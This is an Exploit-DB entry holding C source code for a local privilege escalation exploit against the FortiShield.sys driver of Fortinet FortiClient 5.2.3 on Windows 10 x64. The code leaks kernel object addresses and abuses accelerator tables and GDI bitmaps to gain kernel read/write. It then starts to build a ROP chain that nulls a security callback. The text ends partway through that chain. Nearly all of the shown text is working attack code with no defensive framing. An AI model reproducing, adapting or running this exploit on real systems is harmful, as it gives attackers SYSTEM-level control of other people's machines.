Exploit-DB #41722
Description: Fortinet FortiClient 5.2.3 (Windows 10 x64 Post-Anniversary) - Local Privilege Escalation
Type: local
Platform: windows_x86-64
Date: 2017-03-25
Author: sickness

Exploit:
/*
Check these out: 
- https://www.coresecurity.com/system/files/publications/2016/05/Windows%20SMEP%20bypass%20U%3DS.pdf
- https://labs.mwrinfosecurity.com/blog/a-tale-of-bitmaps/
Tested on: 
- Windows 10 Pro x64 (Post-Anniversary)
- ntoskrnl.exe: 10.0.14393.953
- FortiShield.sys: 5.2.3.633
Thanks to master @ryujin and @ronin for helping out. And thanks to Morten (@Blomster81) for the MiGetPteAddress :D 
*/

#include <stdio.h>
#include <stdlib.h>
#include <Windows.h>
#include <Psapi.h>

#pragma comment (lib,"psapi")
#pragma comment(lib, "gdi32.lib")
#pragma comment(lib, "User32.lib")

#define object_number 0x02
#define accel_array_size 0x2b6
#define STATUS_SUCCESS 0x00000000

typedef void** PPVOID;

typedef struct _tagSERVERINFO {
	UINT64 pad;
	UINT64 cbHandleEntries;
} SERVERINFO, *PSERVERINFO;

typedef struct _HANDLEENTRY {
	PVOID pHeader;	// Pointer to the Object
	PVOID pOwner;	// PTI or PPI
	UCHAR bType;	// Object handle type
	UCHAR bFlags;	// Flags
	USHORT wUniq;	// Access count
} HANDLEENTRY, *PHANDLEENTRY;

typedef struct _SHAREDINFO {
	PSERVERINFO psi;
	PHANDLEENTRY aheList;
} SHAREDINFO, *PSHAREDINFO;

ULONGLONG get_pxe_address_64(ULONGLONG address, ULONGLONG pte_start) {
	ULONGLONG result = address >> 9;
	result = result | pte_start;
	result = result & (pte_start + 0x0000007ffffffff8);
	return result;
}

HMODULE ntdll;
HMODULE user32dll;

struct bitmap_structure {
	HBITMAP manager_bitmap;
	HBITMAP worker_bitmap;
};

struct bitmap_structure create_bitmaps(HACCEL hAccel[object_number]) {
	struct bitmap_structure bitmaps;
	char *manager_bitmap_memory;
	char *worker_bitmap_memory;
	HBITMAP manager_bitmap;
	HBITMAP worker_bitmap;
	int nWidth = 0x703;
	int nHeight = 2;
	unsigned int cPlanes = 1;
	unsigned int cBitsPerPel = 8;
	const void *manager_lpvBits;
	const void *worker_lpvBits;

	manager_bitmap_memory = malloc(nWidth * nHeight);
	memset(manager_bitmap_memory, 0x00, sizeof(manager_bitmap_memory));
	manager_lpvBits = manager_bitmap_memory;

	worker_bitmap_memory = malloc(nWidth * nHeight);
	memset(worker_bitmap_memory, 0x00, sizeof(worker_bitmap_memory));
	worker_lpvBits = worker_bitmap_memory;

	BOOL destroy_table;
	destroy_table = DestroyAcceleratorTable(hAccel[0]);
	if (destroy_table == 0) {
		printf("[!] Failed to delete accelerator table[0]: %d\n", GetLastError());
		exit(1);
	}

	manager_bitmap = CreateBitmap(nWidth, nHeight, cPlanes, cBitsPerPel, manager_lpvBits);
	if (manager_bitmap == NULL) {
		printf("[!] Failed to create BitMap object: %d\n", GetLastError());
		exit(1);
	}
	printf("[+] Manager BitMap HANDLE: %I64x\n", (ULONGLONG)manager_bitmap);

	destroy_table = DestroyAcceleratorTable(hAccel[1]);
	if (destroy_table == 0) {
		printf("[!] Failed to delete accelerator table[1]: %d\n", GetLastError());
		exit(1);
	}
	worker_bitmap = CreateBitmap(nWidth, nHeight, cPlanes, cBitsPerPel, worker_lpvBits);
	if (worker_bitmap == NULL) {
		printf("[!] Failed to create BitMap object: %d\n", GetLastError());
		exit(1);
	}
	printf("[+] Worker BitMap HANDLE: %I64x\n", (ULONGLONG)worker_bitmap);

	bitmaps.manager_bitmap = manager_bitmap;
	bitmaps.worker_bitmap = worker_bitmap;
	return bitmaps;
}

PHANDLEENTRY leak_table_kernel_address(HMODULE user32dll, HACCEL hAccel[object_number], PHANDLEENTRY handle_entry[object_number]) {
	int i;
	PSHAREDINFO gSharedInfo;
	ULONGLONG aheList;
	DWORD handle_entry_size = 0x18;

	gSharedInfo = (PSHAREDINFO)GetProcAddress(user32dll, (LPCSTR)"gSharedInfo");
	if (gSharedInfo == NULL) {
		printf("[!] Error while retrieving gSharedInfo: %d.\n", GetLastError());
		return NULL;
	}
	aheList = (ULONGLONG)gSharedInfo->aheList;
	printf("[+] USER32!gSharedInfo located at: %I64x\n", (ULONGLONG)gSharedInfo);
	printf("[+] USER32!gSharedInfo->aheList located at: %I64x\n", (ULONGLONG)aheList);
	for (i = 0; i < object_number; i++) {
		handle_entry[i] = (PHANDLEENTRY)(aheList + ((ULONGLONG)hAccel[i] & 0xffff) * handle_entry_size);
	}
	return *handle_entry;
}

ULONGLONG write_bitmap(HBITMAP bitmap_handle, ULONGLONG to_write) {
	ULONGLONG write_operation;
	write_operation = SetBitmapBits(bitmap_handle, sizeof(ULONGLONG), &to_write);
	if (write_operation == 0) {
		printf("[!] Failed to write bits to bitmap: %d\n", GetLastError());
		exit(1);
	}
	return 0;
}

ULONGLONG read_bitmap(HBITMAP bitmap_handle) {
	ULONGLONG read_operation;
	ULONGLONG to_read;
	read_operation = GetBitmapBits(bitmap_handle, sizeof(ULONGLONG), &to_read);
	if (read_operation == 0) {
		printf("[!] Failed to write bits to bitmap: %d\n", GetLastError());
		exit(1);
	}
	return to_read;
}

HACCEL create_accelerator_table(HACCEL hAccel[object_number], int table_number) {
	int i;
	table_number = object_number;
	ACCEL accel_array[accel_array_size];
	LPACCEL lpAccel = accel_array;

	printf("[+] Creating %d Accelerator Tables\n", table_number);
	for (i = 0; i < table_number; i++) {
		hAccel[i] = CreateAcceleratorTableA(lpAccel, accel_array_size);
		if (hAccel[i] == NULL) {
			printf("[!] Error while creating the accelerator table: %d.\n", GetLastError());
			exit(1);
		}
	}
	return *hAccel;
}

LPVOID allocate_rop_chain(LPVOID kernel_base, ULONGLONG fortishield_callback, ULONGLONG fortishield_restore, ULONGLONG manager_pvScan_offset, ULONGLONG worker_pvScan_offset) {
	HANDLE pid;
	pid = GetCurrentProcess();
	ULONGLONG rop_chain_address = 0x000000008aff07da;
	LPVOID allocate_rop_chain;
	allocate_rop_chain = VirtualAlloc((LPVOID*)rop_chain_address, 0x12000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	if (allocate_rop_chain == NULL) {
		printf("[!] Error while allocating rop_chain: %d\n", GetLastError());
		exit(1);
	}

	/* <Null callback> */
	ULONGLONG rop_01 = (ULONGLONG)kernel_base + 0x14adaf;	// pop rax; pop rcx; ret
	ULONGLONG rop_02 = fortishield_callback;
	ULONGLONG rop_03 = 0x[PII_REDACTED]000000;					// NULL the callback